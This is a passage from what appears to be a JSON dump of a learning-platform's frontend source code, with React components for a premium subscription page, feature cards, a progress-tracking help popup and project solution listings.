iconClassName=\"text-purple-400\"\n            value=\"1000+\"\n            label=\"Contributors\"\n            subLabel=\"Community Driven Project\"\n          />\n        </div>\n      </div>\n    </div>\n  );\n} "
  },
  {
    "path": "src/components/Premium/FeatureCard.tsx",
    "content": "import { Lock, Play } from 'lucide-react';\nimport { markdownToHtml } from '../../lib/markdown';\n\ninterface FeatureCardProps {\n  title: string;\n  description: string;\n  duration?: string;\n  videoId?: string;\n  thumbnail?: string;\n  onClick?: () => void;\n  isComingSoon?: boolean;\n}\n\nexport function FeatureCard(props: FeatureCardProps) {\n  const {\n    title,\n    description,\n    duration = '2:30',\n    videoId,\n    thumbnail,\n    onClick,\n    isComingSoon = false,\n  } = props;\n\n  if (isComingSoon) {\n    return (\n      <div className=\"group relative overflow-hidden rounded-lg border border-dashed border-slate-600/50 bg-slate-800/30 p-4 text-left opacity-90\">\n        <div className=\"relative block aspect-video w-full overflow-hidden rounded-lg bg-gradient-to-br from-indigo-900/20 to-purple-900/20\">\n          <div className=\"absolute inset-0 flex items-center justify-center\">\n            <div className=\"flex h-12 w-12 items-center justify-center rounded-full bg-gradient-to-br from-indigo-500/20 to-purple-500/20 backdrop-blur-sm\">\n              <Lock className=\"h-6 w-6 text-indigo-400/70\" strokeWidth={1.5} />\n            </div>\n          </div>\n        </div>\n        <div className=\"mt-4\">\n          <h3 className=\"mb-1 text-sm font-medium text-slate-100\">{title}</h3>\n          <p className=\"text-xs leading-relaxed text-slate-500\">\n            {description}\n          </p>\n        </div>\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"group relative overflow-hidden rounded-lg border border-slate-700 bg-[#151F33] p-4 hover:border-blue-400\">\n      <button\n        onClick={onClick}\n        className=\"relative block aspect-video w-full cursor-pointer overflow-hidden rounded-lg bg-slate-900/50\"\n      >\n        <img\n          src={thumbnail}\n          alt={title}\n          className=\"absolute inset-0 h-full w-full object-cover\"\n        />\n        <span className=\"absolute inset-0 -m-4 flex items-center justify-center bg-black/30 opacity-0 group-hover:opacity-100\">\n          <span className=\"flex h-12 w-12 items-center justify-center rounded-full bg-white/10 backdrop-blur-sm\">\n            <Play className=\"h-6 w-6 fill-current text-white\" strokeWidth={2} />\n          </span>\n        </span>\n      </button>\n      <span className=\"absolute top-1 right-1 rounded bg-black/60 px-2 py-1 text-xs text-white backdrop-blur-sm\">\n        {duration}\n      </span>\n      <div className=\"mt-4\">\n        <h3 className=\"mb-1 text-sm font-medium text-white\">{title}</h3>\n        <p\n          className=\"text-xs [&_a]:text-blue-400 [&_a]:underline-offset-2 [&_a]:underline leading-relaxed text-slate-400\"\n          dangerouslySetInnerHTML={{ __html: markdownToHtml(description) }}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Premium/PremiumPage.tsx",
    "content": "import {\n  Book,\n  Bot,\n  CheckCircle,\n  Clock,\n  MousePointerClick,\n  PartyPopper,\n  Users2,\n  Wand2,\n  Zap,\n} from 'lucide-react';\nimport { useState, useEffect } from 'react';\nimport { useMutation, useQuery } from '@tanstack/react-query';\nimport { useToast } from '../../hooks/use-toast';\nimport { httpPost } from '../../lib/query-http';\nimport {\n  USER_SUBSCRIPTION_PLAN_PRICES,\n  billingDetailsOptions,\n  type AllowedSubscriptionInterval,\n} from '../../queries/billing';\nimport { queryClient } from '../../stores/query-client';\nimport { VideoModal } from '../VideoModal';\nimport { CredibilityStats } from './CredibilityStats';\nimport { FeatureCard } from './FeatureCard';\nimport { StatsItem } from './StatsItem';\nimport { features, paidFeaturesList } from './constants';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { UpdatePlanConfirmation } from '../Billing/UpdatePlanConfirmation';\n\nexport function PremiumPage() {\n  const [activeVideoId, setActiveVideoId] = useState<string | null>(null);\n  const [selectedPlan, setSelectedPlan] =\n    useState<AllowedSubscriptionInterval | null>(null);\n\n  // State for plan switching confirmation modal\n  const [switchPlanDetails, setSwitchPlanDetails] =\n    useState<(typeof USER_SUBSCRIPTION_PLAN_PRICES)[number] | null>(null);\n\n  const toast = useToast();\n\n  useEffect(() => {\n    window?.fireEvent?.({\n      action: 'tutor_pricing',\n      category: 'ai_tutor',\n      label: 'Clicked Upgrade to Pro',\n    });\n  }, []);\n\n  const {\n    mutate: createCheckoutSession,\n    isPending: isCreatingCheckoutSession,\n  } = useMutation(\n    {\n      mutationFn: (body: {\n        priceId: string;\n        success?: string;\n        cancel?: string;\n      }) => {\n        return httpPost<{ checkoutUrl: string }>(\n          '/v1-create-subscription-checkout-session',\n          body,\n        );\n      },\n      onSuccess: (data) => {\n        window.location.href = data.checkoutUrl;\n      },\n      onError: (error: any) => {\n        console.error(error);\n        toast.error(error?.message || 'Failed to create checkout session');\n      },\n    },\n    queryClient,\n  );\n\n  const monthlyPlan = USER_SUBSCRIPTION_PLAN_PRICES.find(\n    (p) => p.interval === 'month',\n  );\n  const yearlyPlan = USER_SUBSCRIPTION_PLAN_PRICES.find(\n    (p) => p.interval === 'year',\n  );\n\n  const { data: billingDetails } = useQuery(\n    billingDetailsOptions(),\n    queryClient,\n  );\n\n  const isSubscriptionCanceled = ['canceled', 'incomplete_expired'].includes(\n    billingDetails?.status || '',\n  );\n  const currentPriceId = isSubscriptionCanceled ? null : billingDetails?.priceId;\n\n  const currentPlan = USER_SUBSCRIPTION_PLAN_PRICES.find(\n    (plan) => plan.priceId === currentPriceId,\n  );\n\n  const activeVideoStartTime =\n    features.find((feature) => feature.videoId === activeVideoId)?.startTime ||\n    '0';\n\n  function handleUpgrade(plan: (typeof USER_SUBSCRIPTION_PLAN_PRICES)[number]) {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    if (!plan) {\n      return;\n    }\n\n    setSelectedPlan(plan.interval);\n\n    // If user already has an active subscription and is selecting a different plan, initiate switch flow\n    if (currentPriceId && plan.priceId !== currentPriceId) {\n      setSwitchPlanDetails(plan);\n      return;\n    }\n\n    const currentUrlPath = window.location.pathname;\n    const encodedCurrentUrlPath = encodeURIComponent(currentUrlPath);\n    const successPage = `/thank-you?next=${encodedCurrentUrlPath}&s=1`;\n\n    window?.fireEvent?.({\n      action: 'tutor_checkout',\n      category: 'ai_tutor',\n      label: 'Checkout Started',\n    });\n\n    createCheckoutSession(\n      {\n        priceId: plan.priceId,\n        success: successPage,\n        cancel: `${currentUrlPath}?s=0`,\n      },\n      {\n        onSuccess: () => {\n          window?.fireEvent?.({\n            action: `tutor_checkout_${plan.interval === 'month' ? 'mo' : 'an'}`,\n            category: 'ai_tutor',\n            label: `${plan.interval} Plan Checkout Started`,\n          });\n        },\n      },\n    );\n  }\n\n  return (\n    <div className=\"min-h-screen bg-gradient-to-b from-slate-900 to-black\">\n      <div className=\"mx-auto max-w-4xl px-4 py-20\">\n        <div className=\"mx-auto mb-10 max-w-4xl lg:mb-20\">\n          <div className=\"text-center\">\n            <div className=\"mb-8 inline-flex items-center gap-2 rounded-full bg-slate-800/50 px-4 py-2 text-blue-400\">\n              <Zap className=\"h-4 w-4\" />\n              <span className=\"text-sm font-medium\">\n                Unlock All Premium Features\n              </span>\n            </div>\n            <h1 className=\"mb-6 text-4xl font-bold text-balance text-white md:text-5xl\">\n              Learn Faster with AI\n            </h1>\n            <p className=\"mb-8 text-lg text-balance text-slate-400 md:text-xl\">\n              Generate unlimited courses about any topic, get career guidance\n              and instant answers from AI, test your skills and more\n            </p>\n            <div className=\"flex flex-col items-center justify-center gap-4 sm:flex-row\">\n              <a\n                href=\"#pricing\"\n                className=\"group block rounded-2xl bg-gradient-to-b from-indigo-600 to-indigo-700 px-8 py-4 shadow-sm transition-all hover:-translate-y-0.5\"\n              >\n                <span className=\"flex items-center justify-center gap-3 text-lg text-white sm:hidden\">\n                  Upgrade now\n                </span>\n                <span className=\"hidden items-center justify-center gap-3 text-lg sm:flex\">\n                  <span className=\"font-medium text-indigo-100\">\n                    Upgrade for just\n                  </span>\n                  <span className=\"font-bold text-white\">$10/month</span>\n                  <span className=\"text-white transition-transform duration-200 group-hover:translate-x-1\">\n                    →\n                  </span>\n                </span>\n              </a>\n              <button\n                data-demo-button=\"true\"\n                onClick={() => {\n                  if (isLoggedIn()) {\n                    window.location.href = '/ai';\n                  } else {\n                    showLoginPopup();\n                  }\n                }}\n                className=\"group relative flex items-center justify-center gap-2 overflow-hidden rounded-2xl border border-purple-500/30 bg-transparent px-6 py-4 text-base font-medium text-purple-500 shadow-sm transition-all hover:-translate-y-0.5 hover:bg-purple-500/10 hover:text-purple-400 hover:border-purple-300/30 focus:outline-none active:ring-0\"\n              >\n                <MousePointerClick className=\"h-5 w-5\" aria-hidden=\"true\" />\n                <span className=\"lg:hidden\">Try Demo</span>\n                <span className=\"hidden lg:inline\">Try for Free</span>\n              </button>\n            </div>\n            <p className=\"mt-5 flex items-center justify-center gap-2 text-sm\">\n              <Clock className=\"h-3 w-3 text-white\" />\n              <span className=\"text-indigo-200\">\n                2 months free with yearly plan\n              </span>\n            </p>\n          </div>\n        </div>\n\n        <div className=\"mb-10 flex flex-wrap items-center justify-center gap-x-10 gap-y-8 lg:mb-20\">\n          <StatsItem icon={Users2} text=\"+2.1M Learners\" />\n          <StatsItem icon={Bot} text=\"+160K Roadmaps\" />\n          <StatsItem icon={Book} text=\"+150K Courses\" />\n          <StatsItem icon={Wand2} text=\"+1M AI Chats\" />\n        </div>\n\n        <div className=\"mb-10 lg:mb-20\">\n          <p className=\"mb-8 text-center text-sm text-slate-400\">\n            <PartyPopper className=\"relative -top-0.5 mr-2 inline-block h-4 w-4 text-blue-400\" />\n            Paid users{' '}\n            <span className=\"font-bold text-blue-400\">\n              get unlimited access\n            </span>{' '}\n            to all the features below.\n          </p>\n          <div className=\"grid gap-6 sm:grid-cols-2 md:grid-cols-3\">\n            {features.map((feature, index) => (\n              <FeatureCard\n                key={feature.videoId || `coming-soon-${index}`}\n                title={feature.title}\n                description={feature.description}\n                videoId={feature.videoId}\n                thumbnail={feature.thumbnail}\n                duration={feature.duration}\n                isComingSoon={feature.isComingSoon}\n                onClick={\n                  feature.videoId\n                    ? () => setActiveVideoId(feature.videoId)\n                    : undefined\n                }\n              />\n            ))}\n          </div>\n        </div>\n\n        <CredibilityStats />\n\n        <div className=\"mb-20 pt-10\" id=\"pricing\">\n          <h2 className=\"mb-6 text-center text-3xl font-bold text-white lg:mb-12\">\n            Choose Your Plan\n          </h2>\n          <div className=\"mx-auto grid max-w-5xl gap-8 md:grid-cols-2\">\n            <div className=\"rounded-xl border border-slate-700 bg-slate-800/50 p-8\">\n              <h3 className=\"mb-4 text-2xl font-bold text-white\">Monthly</h3>\n              <div className=\"mb-6\">\n                <div className=\"flex items-baseline gap-2\">\n                  <span className=\"text-5xl font-bold text-white\">$10</span>\n                  <span className=\"text-slate-400\">/ month</span>\n                </div>\n                <p className=\"mt-2 text-slate-400\">\n                  Perfect for continuous learning\n                </p>\n              </div>\n              <button\n                onClick={() => handleUpgrade(monthlyPlan!)}\n                disabled={\n                  isCreatingCheckoutSession || currentPlan?.interval === 'month'\n                }\n                className={`mb-8 w-full rounded-lg px-6 py-3 font-medium transition-colors disabled:opacity-50  ${\n                  currentPlan?.interval === 'month'\n                    ? 'bg-gray-800 text-white cursor-not-allowed'\n                    : 'bg-blue-600 text-white hover:bg-blue-700'\n                }`}\n              >\n                {isCreatingCheckoutSession && selectedPlan === 'month' ? (\n                  <span className=\"flex items-center justify-center gap-2\">\n                    <span className=\"h-4 w-4 animate-spin rounded-full border-2 border-white border-t-transparent\"></span>\n                    Processing...\n                  </span>\n                ) : currentPlan?.interval === 'month' ? (\n                  'Current Plan'\n                ) : currentPlan ? (\n                  'Switch to Monthly Plan'\n                ) : (\n                  'Start Monthly Plan'\n                )}\n              </button>\n              <ul className=\"space-y-4 text-slate-300\">\n                {paidFeaturesList.map((feature) => (\n                  <li key={feature} className=\"flex items-start\">\n                    <CheckCircle\n                      className=\"mt-0.5 mr-3 h-5 w-5 flex-shrink-0 text-blue-400\"\n                      strokeWidth={2}\n                    />\n                    <span>{feature}</span>\n                  </li>\n                ))}\n              </ul>\n            </div>\n\n            <div className=\"relative rounded-xl border-2 border-blue-400 bg-slate-800/50 p-8\">\n              <div className=\"absolute -top-4 left-1/2 -translate-x-1/2 transform\">\n                <span className=\"rounded-full bg-blue-600 px-4 py-1 text-sm font-medium text-white\">\n                  Most Popular\n                </span>\n              </div>\n              <h3 className=\"mb-4 text-2xl font-bold text-white\">Yearly</h3>\n              <div className=\"mb-6\">\n                <div className=\"flex items-baseline gap-2\">\n                  <span className=\"text-5xl font-bold text-white\">$100</span>\n                  <span className=\"text-slate-400\">/ year</span>\n                </div>\n                <p className=\"mt-2 font-medium text-blue-400\">\n                  Save $20 (2 months free)\n                </p>\n              </div>\n              <button\n                onClick={() => handleUpgrade(yearlyPlan!)}\n                disabled={\n                  isCreatingCheckoutSession || currentPlan?.interval === 'year'\n                }\n                className={`mb-8 w-full rounded-lg px-6 py-3 font-medium transition-colors disabled:opacity-50  ${\n                  currentPlan?.interval === 'year'\n                    ? 'bg-green-600 text-white cursor-not-allowed'\n                    : 'bg-blue-600 text-white hover:bg-blue-700'\n                }`}\n              >\n                {isCreatingCheckoutSession && selectedPlan === 'year' ? (\n                  <span className=\"flex items-center justify-center gap-2\">\n                    <span className=\"h-4 w-4 animate-spin rounded-full border-2 border-white border-t-transparent\"></span>\n                    Processing...\n                  </span>\n                ) : currentPlan?.interval === 'year' ? (\n                  'Current Plan'\n                ) : currentPlan ? (\n                  'Switch to Yearly Plan'\n                ) : (\n                  'Start Yearly Plan'\n                )}\n              </button>\n              <ul className=\"space-y-4 text-slate-300\">\n                {paidFeaturesList.map((feature) => (\n                  <li key={feature} className=\"flex items-start\">\n                    <CheckCircle\n                      className=\"mt-0.5 mr-3 h-5 w-5 flex-shrink-0 text-blue-400\"\n                      strokeWidth={2}\n                    />\n                    <span>{feature}</span>\n                  </li>\n                ))}\n              </ul>\n            </div>\n          </div>\n        </div>\n\n      </div>\n\n      {activeVideoId && (\n        <VideoModal\n          videoId={activeVideoId}\n          startTime={activeVideoStartTime}\n          onClose={() => setActiveVideoId(null)}\n        />\n      )}\n\n      {switchPlanDetails && (\n        <UpdatePlanConfirmation\n          planDetails={switchPlanDetails}\n          onClose={() => setSwitchPlanDetails(null)}\n          onCancel={() => setSwitchPlanDetails(null)}\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Premium/StarRating.tsx",
    "content": "import { Star } from 'lucide-react';\n\nexport function StarRating() {\n  return (\n    <div className=\"flex items-center\">\n      {[...Array(5)].map((_, i) => (\n        <Star key={i} className=\"h-4 w-4 fill-current text-yellow-400\" />\n      ))}\n    </div>\n  );\n} "
  },
  {
    "path": "src/components/Premium/StatsItem.tsx",
    "content": "import type { LucideIcon } from 'lucide-react';\n\ninterface StatsItemProps {\n  icon: LucideIcon;\n  text: string;\n}\n\nexport function StatsItem(props: StatsItemProps) {\n  const Icon = props.icon;\n  return (\n    <div className=\"flex items-center gap-3\">\n      <Icon className=\"h-6 w-6 text-purple-500\" strokeWidth={1.5} />\n      <span className=\"text-gray-300\">{props.text}</span>\n    </div>\n  );\n} "
  },
  {
    "path": "src/components/Premium/Testimonial.tsx",
    "content": "import { StarRating } from './StarRating';\n\ninterface TestimonialProps {\n  name: string;\n  role: string;\n  content: string;\n}\n\nexport function Testimonial({ name, role, content }: TestimonialProps) {\n  return (\n    <div className=\"flex flex-col rounded-lg border border-slate-700 bg-slate-800/50 p-6\">\n      <StarRating />\n      <p className=\"mt-4 mb-auto leading-relaxed text-slate-400\">{content}</p>\n      <div className=\"mt-4\">\n        <div className=\"font-medium text-white\">{name}</div>\n        <div className=\"text-sm text-slate-500\">{role}</div>\n      </div>\n    </div>\n  );\n} "
  },
  {
    "path": "src/components/Premium/constants.ts",
    "content": "export const paidFeaturesList = [\n  'Unlimited Courses and Guides',\n  'Unlimited AI Roadmaps',\n  'Chat History Access',\n  'AI tutor on Roadmaps',\n  'Custom Roadmaps (up to 100)',\n  'AI-Powered Roadmap Editor',\n  'Personal AI Coach',\n  'and more...',\n];\n\nexport const features = [\n  {\n    title: 'Unlimited AI Courses',\n    description:\n      'No more paying for expensive courses, [create unlimited courses](/ai) with AI',\n    videoId: 'uCcQNhdVUVQ',\n    thumbnail: 'https://assets.roadmap.sh/guest/ai-courses-m07ra.png',\n    duration: '3:07',\n  },\n  {\n    title: 'In-depth Guides',\n    description:\n      'Create unlimited personalized [in-depth learning guides](/ai?format=guide) with AI',\n    videoId: '5kwYjCg2Lu4',\n    thumbnail: 'https://assets.roadmap.sh/guest/ai-guides-s4bjj.png',\n    duration: '1:33',\n  },\n  {\n    title: 'Learn Roadmap Topics',\n    description:\n      'Learn [roadmap topics directly](/backend) from within the nodes without leaving the roadmap',\n    videoId: '0jZ1Lse1Y3E',\n    thumbnail: 'https://assets.roadmap.sh/guest/smarter-roadmaps-f46ku.png',\n    duration: '3:11',\n    startTime: '5',\n  },\n  {\n    title: 'Chat with Roadmaps',\n    description:\n      'Ask questions and [get instant answers](/frontend) on any roadmap through AI',\n    videoId: 'fq0UgNcj3Ek',\n    thumbnail: 'https://assets.roadmap.sh/guest/chat-with-roadmaps-ew2l9.png',\n    duration: '2:17',\n  },\n  {\n    title: 'AI as Learning Companion',\n    description:\n      'Use [AI-powered learning companion](/ai/roadmap-chat) to accelerate your roadmap progress',\n    videoId: 'Jso_HRviEOE',\n    thumbnail: 'https://assets.roadmap.sh/guest/roadmap-ai-tools-adhqq.png',\n    duration: '2:45',\n    startTime: '18',\n  },\n  {\n    title: 'Your Personal Coach',\n    description:\n      'Get career guidance, personalized growth suggestions using [AI Tutor Chat](/ai/chat)',\n    videoId: '77VwAeFmoIw',\n    thumbnail: 'https://assets.roadmap.sh/guest/career-guidance-t2mpu.png',\n    duration: '3:45',\n    startTime: '4',\n  },\n  {\n    title: 'Test Yourself',\n    description:\n      'Let AI help you [test your knowledge](/ai/quiz) and prepare for interviews',\n    videoId: 'ScruGC8uzjo',\n    thumbnail: 'https://assets.roadmap.sh/guest/test-yourself-uwzqo.png',\n    duration: '2:15',\n  },\n  {\n    title: 'Powerful Roadmap Editor',\n    description:\n      '[Create and edit roadmaps](/account/roadmaps) with ease using our powerful roadmap editor',\n    videoId: 'L2HZIHIgwOI',\n    thumbnail:\n      'https://assets.roadmap.sh/guest/ai-based-roadmap-editor-ochm8.png',\n    duration: '1:30',\n  },\n  {\n    title: 'Early Access to New Features',\n    description:\n      'We have more amazing features coming soon! Be the first to try them out!',\n    isComingSoon: true,\n  },\n];\n"
  },
  {
    "path": "src/components/Premium/index.ts",
    "content": "export { PremiumPage } from './PremiumPage';\nexport { CredibilityStats } from './CredibilityStats';\nexport { FeatureCard } from './FeatureCard';\nexport { StatsItem } from './StatsItem';\nexport { StarRating } from './StarRating';\nexport { Testimonial } from './Testimonial';\nexport { features, paidFeaturesList } from './constants'; "
  },
  {
    "path": "src/components/ProgressHelpPopup.astro",
    "content": "---\nimport AstroIcon from './AstroIcon.astro';\nimport Popup from './Popup/Popup.astro';\n---\n\n<Popup id='progress-help' title='' subtitle=''>\n  <div class='-mt-2.5'>\n    <p class='mb-3 text-2xl font-semibold leading-5 text-gray-900'>\n      Track your Progress\n    </p>\n    <p class='text-sm leading-4 text-gray-600'>\n      Login and use one of the options listed below.\n    </p>\n\n    <div class='mt-4 flex flex-col gap-1.5'>\n      <div class='rounded-md border px-3 py-3 text-gray-500'>\n        <span class='mb-1.5 block text-xs font-medium uppercase text-green-600'\n          >Option 1</span\n        >\n        <p class='text-sm'>\n          Click the roadmap topics and use <span class='underline'\n            >Update Progress</span\n          > dropdown to update your progress.\n        </p>\n      </div>\n\n      <div class='rounded-md border border-yellow-300 bg-yellow-50 px-3 py-3 text-gray-500'>\n        <span class='mb-1.5 block text-xs font-medium uppercase text-green-600'\n          >Option 2</span\n        >\n        <p class='text-sm'>Use the keyboard shortcuts listed below.</p>\n\n        <ul class=\"flex flex-col gap-1 mt-3 mb-1.5\">\n          <li class='text-sm leading-loose'>\n            <kbd class=\"px-2 py-1.5 text-xs text-white bg-gray-900 rounded-md\">Right Mouse Click</kbd> to mark as Done.\n          </li>\n          <li class='text-sm leading-loose'>\n            <kbd class=\"px-2 py-1.5 text-xs text-white bg-gray-900 rounded-md\">Shift</kbd> + <kbd class=\"px-2 py-1.5 text-xs text-white bg-gray-900 rounded-md\">Click</kbd> to mark as in progress.\n          </li>\n          <li class='text-sm leading-loose'>\n            <kbd class=\"px-2 py-1.5 text-xs text-white bg-gray-900 rounded-md\">Option / Alt</kbd> + <kbd class=\"px-2 py-1.5 text-xs text-white bg-gray-900 rounded-md\">Click</kbd> to mark as skipped.\n          </li>\n        </ul>\n      </div>\n    </div>\n  </div>\n</Popup>\n"
  },
  {
    "path": "src/components/Projects/CompleteProjectConfirmation.tsx",
    "content": "import { useMutation } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { Modal } from '../Modal';\nimport { httpPost } from '../../lib/query-http';\nimport { useToast } from '../../hooks/use-toast';\nimport { Loader2Icon } from 'lucide-react';\nimport { projectStatusOptions } from '../../queries/project';\n\ntype CompleteProjectConfirmationProps = {\n  projectId: string;\n  onClose: () => void;\n};\n\nexport function CompleteProjectConfirmation(\n  props: CompleteProjectConfirmationProps,\n) {\n  const { onClose, projectId } = props;\n\n  const toast = useToast();\n\n  const { mutate: completeProject, isPending: isCompletingProject } =\n    useMutation(\n      {\n        mutationFn: () => {\n          return httpPost<{\n            startedAt: Date;\n          }>(\n            `${import.meta.env.PUBLIC_API_URL}/v1-mark-as-done-project/${projectId}`,\n            {},\n          );\n        },\n        onSettled: () => {\n          queryClient.invalidateQueries(projectStatusOptions(projectId));\n        },\n        onError: (error) => {\n          toast.error(error?.message || 'Failed to start project');\n        },\n        onSuccess: () => {\n          onClose();\n        },\n      },\n      queryClient,\n    );\n\n  return (\n    <Modal onClose={onClose} bodyClassName=\"h-auto p-4\">\n      <h2 className=\"mb-2 flex items-center gap-2.5 text-xl font-semibold\">\n        Complete Project\n      </h2>\n      <p className=\"text-sm text-gray-500\">\n        Are you sure you want to mark this project as completed?\n      </p>\n\n      <div className=\"mt-4 grid grid-cols-2 gap-2\">\n        <button\n          onClick={onClose}\n          className=\"rounded-lg bg-gray-100 px-4 py-2 text-sm font-medium text-gray-500 hover:bg-gray-200\"\n        >\n          Cancel\n        </button>\n        <button\n          onClick={() => completeProject()}\n          className=\"flex h-9 items-center justify-center gap-2 rounded-lg bg-green-600 px-4 py-2 text-sm font-medium text-white hover:bg-green-700\"\n        >\n          {isCompletingProject ? (\n            <Loader2Icon className=\"h-4 w-4 animate-spin stroke-[2.5]\" />\n          ) : (\n            'Complete Project'\n          )}\n        </button>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/EmptyProjects.tsx",
    "content": "import { Bell, Check, FolderKanbanIcon } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { cn } from '../../lib/classname.ts';\nimport { isLoggedIn } from '../../lib/jwt.ts';\nimport { showLoginPopup } from '../../lib/popup.ts';\n\nexport function EmptyProjects() {\n  const [isSubscribed, setIsSubscribed] = useState(false);\n  const [isLoading, setIsLoading] = useState(true);\n\n  useEffect(() => {\n    setIsSubscribed(isLoggedIn());\n    setIsLoading(false);\n  }, []);\n\n  return (\n    <div className=\"relative mt-2.5 mb-5 flex min-h-[400px] flex-col items-center justify-center rounded-lg border bg-white\">\n      <FolderKanbanIcon className=\"h-14 w-14 text-gray-300\" strokeWidth={1.5} />\n      <h2 className=\"mb-0.5 mt-2 text-center text-base font-medium text-gray-900 sm:text-xl\">\n        <span className=\"hidden sm:inline\">Projects are coming soon!</span>\n        <span className=\"inline sm:hidden\">Coming soon!</span>\n      </h2>\n      <p className=\"mb-3 text-balance text-center text-sm text-gray-500 sm:text-base\">\n        Sign up to get notified when projects are available.\n      </p>\n\n      <button\n        onClick={() => {\n          if (isSubscribed) {\n            return;\n          }\n\n          showLoginPopup();\n        }}\n        className={cn(\n          'flex items-center rounded-md bg-gray-800 py-1.5 pl-3 pr-4 text-xs text-white opacity-0 transition-opacity duration-500 hover:bg-black sm:text-sm',\n          {\n            'cursor-default bg-gray-300 text-black hover:bg-gray-300':\n              isSubscribed,\n            'opacity-100': !isLoading,\n          },\n        )}\n      >\n        {!isSubscribed && (\n          <>\n            <Bell className=\"mr-2 h-4 w-4\" />\n            Signup to get Notified\n          </>\n        )}\n        {isSubscribed && (\n          <>\n            <Check className=\"mr-2 h-4 w-4\" />\n            We will notify you by email\n          </>\n        )}\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/EmptySolutions.tsx",
    "content": "import { Blocks, CodeXml } from 'lucide-react';\n\ntype EmptySolutionsProps = {\n  projectId: string;\n};\n\nexport function EmptySolutions(props: EmptySolutionsProps) {\n  const { projectId } = props;\n\n  return (\n    <div className=\"flex min-h-[250px] flex-col items-center justify-center rounded-xl px-5 py-3 sm:px-0 sm:py-20 bg-white border mb-5\">\n      <Blocks className=\"mb-4 opacity-10 h-14 w-14\" />\n      <h2 className=\"mb-1 text-lg font-semibold sm:text-xl\">\n        No solutions submitted yet\n      </h2>\n      <p className=\"mb-3 text-balance text-center text-xs text-gray-400 sm:text-sm\">\n        Be the first to submit a solution for this project\n      </p>\n      <div className=\"flex flex-col items-center gap-1 sm:flex-row sm:gap-1.5\">\n        <a\n          href={`/projects/${projectId}`}\n          className=\"flex w-full items-center gap-1.5 rounded-md bg-gray-900 px-3 py-1.5 text-xs text-white sm:w-auto sm:text-sm\"\n        >\n          View Project Details\n        </a>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/LeavingRoadmapWarningModal.tsx",
    "content": "import { ArrowUpRight, X } from 'lucide-react';\nimport { Modal } from '../Modal';\nimport { SubmissionRequirement } from './SubmissionRequirement.tsx';\n\ntype LeavingRoadmapWarningModalProps = {\n  onClose: () => void;\n  repositoryUrl: string;\n};\n\nexport function LeavingRoadmapWarningModal(\n  props: LeavingRoadmapWarningModalProps,\n) {\n  const { onClose, repositoryUrl } = props;\n\n  return (\n    <Modal onClose={onClose} bodyClassName=\"h-auto p-4\">\n      <h2 className=\"mb-1.5 text-2xl font-semibold\">Leaving roadmap.sh</h2>\n      <p className=\"text-sm text-gray-500\">\n        You are about to visit the project solution on GitHub. We recommend you\n        to follow these tips before you leave.\n      </p>\n\n      <div className=\"my-3\">\n        <p className=\"rounded-lg bg-gray-200 p-2 text-sm text-gray-900\">\n          Make sure to come back and{' '}\n          <span className=\"font-medium text-purple-600\">leave an upvote</span>{' '}\n          if you liked the solution. It helps the author and the community.\n        </p>\n\n        <p className=\"mt-1 rounded-lg bg-gray-200 p-2 text-sm text-gray-900\">\n          If you have feedback on the solution, open an issue or a pull request\n          on the{' '}\n          <span className=\"font-medium text-purple-600\">\n            solution repository\n          </span>\n          .\n        </p>\n\n        <p className=\"mt-1 rounded-lg bg-gray-200 p-2 text-sm text-gray-900\">\n          Downvote the solution if it is{' '}\n          <span className=\"font-medium text-purple-600\">\n            incorrect or misleading\n          </span>\n          . It helps the community.\n        </p>\n      </div>\n\n      <a\n        className=\"inline-flex w-full items-center gap-2 rounded-lg bg-black px-3 py-2.5 text-sm text-white\"\n        href={repositoryUrl}\n        target=\"_blank\"\n      >\n        <ArrowUpRight className=\"h-5 w-5\" />\n        Continue to Solution\n      </a>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Projects/ListProjectSolutions.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { useToast } from '../../hooks/use-toast';\nimport { httpGet, httpPost } from '../../lib/http';\nimport { LoadingSolutions } from './LoadingSolutions';\nimport { EmptySolutions } from './EmptySolutions';\nimport { Pagination } from '../Pagination/Pagination';\nimport { deleteUrlParam, getUrlParams, setUrlParams } from '../../lib/browser';\nimport { pageProgressMessage } from '../../stores/page';\nimport { LeavingRoadmapWarningModal } from './LeavingRoadmapWarningModal';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { SelectLanguages } from './SelectLanguages.tsx';\nimport { SortProjects } from './SortProjects.tsx';\nimport { ProjectSolutionRow } from './ProjectSolutionRow';\nimport type { OfficialProjectDocument } from '../../queries/official-project.ts';\n\nexport interface ProjectStatusDocument {\n  _id?: string;\n\n  userId: string;\n  projectId: string;\n\n  startedAt?: Date;\n  submittedAt?: Date;\n  repositoryUrl?: string;\n  languages?: string[];\n\n  upvotes: number;\n  downvotes: number;\n\n  isVisible?: boolean;\n\n  updatedAt: Date;\n}\n\nconst allowedVoteType = ['upvote', 'downvote'] as const;\nexport type AllowedVoteType = (typeof allowedVoteType)[number];\n\ntype ListProjectSolutionsResponse = {\n  data: (ProjectStatusDocument & {\n    user: {\n      id: string;\n      name: string;\n      avatar: string;\n    };\n    voteType?: AllowedVoteType | 'none';\n  })[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\ntype QueryParams = {\n  p?: string;\n  l?: string;\n  s?: string;\n};\n\ntype PageState = {\n  currentPage: number;\n  language: string;\n  sort: string;\n};\n\ntype ListProjectSolutionsProps = {\n  project: OfficialProjectDocument;\n  projectId: string;\n};\n\nexport function ListProjectSolutions(props: ListProjectSolutionsProps) {\n  const { projectId, project } = props;\n\n  const toast = useToast();\n  const [pageState, setPageState] = useState<PageState>({\n    currentPage: 0,\n    language: '',\n    sort: 'rating',\n  });\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [solutions, setSolutions] = useState<ListProjectSolutionsResponse>();\n  const [showLeavingRoadmapModal, 